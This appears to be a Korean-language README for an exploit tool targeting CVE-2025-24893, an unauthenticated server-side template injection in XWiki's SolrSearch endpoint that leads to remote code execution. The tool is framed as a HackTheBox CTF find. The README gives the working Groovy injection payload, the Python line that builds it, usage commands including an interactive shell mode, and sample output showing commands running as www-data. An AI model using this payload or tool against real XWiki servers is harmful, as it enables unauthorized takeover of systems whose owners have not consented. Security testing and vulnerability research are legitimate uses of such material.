
CVE-2025-24893 – XWiki SSTI unauthenticated RCE exploit (HackTheBox CTF)
| 필드 | 세부 사항 |
|---|---|
| CVE | CVE-2025-24893 |
| 소프트웨어 | XWiki |
| 취약점 | 서버 측 템플릿 인젝션 (SSTI) → RCE |
| 인증 | 필요 없음 |
| CVSS 점수 | 심각 |
| 맥락 | HackTheBox CTF 중 발견됨 |
XWiki는 소독 처리가 되지 않은 상태에서 Groovy 템플릿 엔진을 통해 사용자 입력을 렌더링하는 SolrSearch 엔드포인트(/xwiki/bin/get/Main/SolrSearch)를 노출합니다. 인증되지 않은 공격자는 text 쿼리 매개변수를 통해 Groovy 표현식을 주입하여 기본 서버에서 원격 코드 실행을 달성할 수 있습니다.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
text 매개변수는 XWiki 매크로 컨텍스트에 직접 삽입되어 Groovy 엔진에서 평가됩니다. 인젝션은 }}}를 사용하여 템플릿 컨텍스트를 이스케이프하고 {{async}}{{groovy}} 블록을 엽니다:
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
출력은 RSS 응답 본문에 반영되며 정규식을 통해 추출할 수 있습니다.
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
응답은 XML/RSS입니다 — 명령 출력은 [}}}와 ]</ 마커 사이에 HTML 인코딩된 문자로 나타납니다.
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
# 단일 명령
python3 exploit.py -t wiki.target.htb -c "id"
# 대화형 셸
python3 exploit.py -t wiki.target.htb -i
# 커스텀 포트에서 HTTPS
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] 명령 실행 중: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| 플래그 | 설명 |
|---|
-t | 대상 호스트명 또는 IP |
-p | 포트 (기본값: 80) |
-s | HTTPS 사용 |
-i | 대화형 셸 모드 |
-c | 단일 명령 실행 |
-v | 자세한 출력 |